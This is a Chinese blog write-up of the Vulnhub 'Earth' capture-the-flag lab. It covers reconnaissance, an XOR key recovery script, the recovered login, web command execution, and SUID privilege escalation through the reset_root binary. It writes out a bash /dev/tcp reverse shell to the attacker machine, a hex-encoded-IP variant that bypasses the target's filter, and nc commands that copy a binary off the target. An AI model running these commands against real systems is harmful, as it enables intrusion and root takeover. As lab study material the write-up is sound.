Vulnhub 靶场 Earth

一、环境准备

1.靶机:下载靶机,导入到VirtualBox,这个由于版本问题,靶机可能启动不了,需要把USB设置为如下图。

2.攻击机:kali(VM)192.168.56.101,设置为和靶机同一网段

二、开始复现

1.信息收集

使用netdiscover或者arp-scan -l进行网络发现,发现目标为192.168.56.102(其实已经在同一网段了,nmap也能扫出来)

使用nmap进行端口探测
nmap -A -p 1-65535 -sV 192.168.56.102
发现ssh 和 http服务,其实我尝试爆破一下ssh,并没有啥用,继续往下看发现443端口有DNS解析

DNS:earth.local, DNS:terratest.earth.local,在hosts文件中添加DNS解析
vim /etc/hosts

我们访问一下网站,看看是否有什么发现,有一个什么以前的信息,不知道有什么用

继续看看,发现一个后台。

然后扫描一个目录,看看有没有什么有用的东西。

没啥有用的东西,继续看看terratest.earth.local,也没啥有用的东西

继续扫一扫,发现有robots.txt文件,查看一下。

发现个这东西,不过后缀不知道,试到TXT发现了一些内容。
https://terratest.earth.local//testingnotes.txt

意思为

将前面发送的消息使用异或进行加密,还有个testdata.txt文档用于测试加密,账号为terra。

2.漏洞利用攻击

先去testdata.txt看一下用于测试加密的数据,将数据保存下来

然后选一个Previous Messages数据,然后与 testdata.txt 进行一下 XOR 运算,得到密钥。

import binascii
data="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f=binascii.b2a_hex(open('testdata.txt','rb').read()).decode()  #binascii.b2a_hex将testdata.txt返回二进制数据的16进制表现数据
print(hex(int(f,16)^int(data,16)))  #以16进制解析字符串,将其转换成一个整型。

得到以下数据。
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
进行解码

密码为earthclimatechangebad4humans,用户名terra

这个框,可以用来执行命令,使用linux命令来查找一下flag。
find / -name "*flag*"
好多,搜索一下找到flag。

直接打开flag

3.提权

我老是想着拿到flag就算完事了,其实还有提权再拿到flag呢。
先来反弹个shell。
首先kali开启监听

尝试写入文件失败,那么直接反弹。
bash -i >& /dev/tcp/192.168.56.101/9999 0>&1

他禁止连接,那我我们来绕过一下,无非就是编码那一套,刚开始我把所有的都给编码了,后来才发现,只需要对IP进行编码就行。。。。。
对IP地址进行16进制编码
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x65/9999 0>&1
上线成功

下面该开始提权了,说实话,没看WP前,尝试了很多提权方法,但是emmm,还是看了wp才提出来,没办法,忘的太多了。
使用suid提权
查找有权限的命令:

find / -perm -u=s -type f 2>/dev/null
find / -perm /u=s -type f 2>/dev/null
-perm 按权限查找 ugo(用户/组/其他) rwx(读/写/执行) 
S 为SUID/SGID特殊权限
-type 文件类型f->文件  d->文件夹
2>/dev/null 不显示错误信息 2->错误输出(0->标准输入; 1->标准输出) >(先清除再写入) or >>(追加) /dev/null位桶(黑洞),接受到的任何数据都会被丢弃

find / -perm -u=s -type f 2>/dev/null

这个带root的应该可以,进入到/usr/bin目录运行一下。

发现报错
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
检查是否存在重置触发器...
重置失败,所有触发器都不存在。
使用nc命令,把这个文件传送到kali本地调试一下。


nc -nlvp 1234 >reset_root

nc 192.168.56.101 1234 < /usr/bin/reset_root



使用 strace 命令进行调试,由于我的kali有点问题,我下载下来到ubuntu上调试。
要chmod 777 reset_root给他权限
然后strace reset_root进行调试

显示没有这三个目录,那么我们给他创建这三个目录。

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

直接重置了密码,我们切换用户,su root ,然后输入密码,是root权限了。

直接去find / -name "flag.txt",打开flag就行了

posted @ 2022-02-20 17:05  CHOSEN1K08  阅读(337)  评论(0编辑  收藏  举报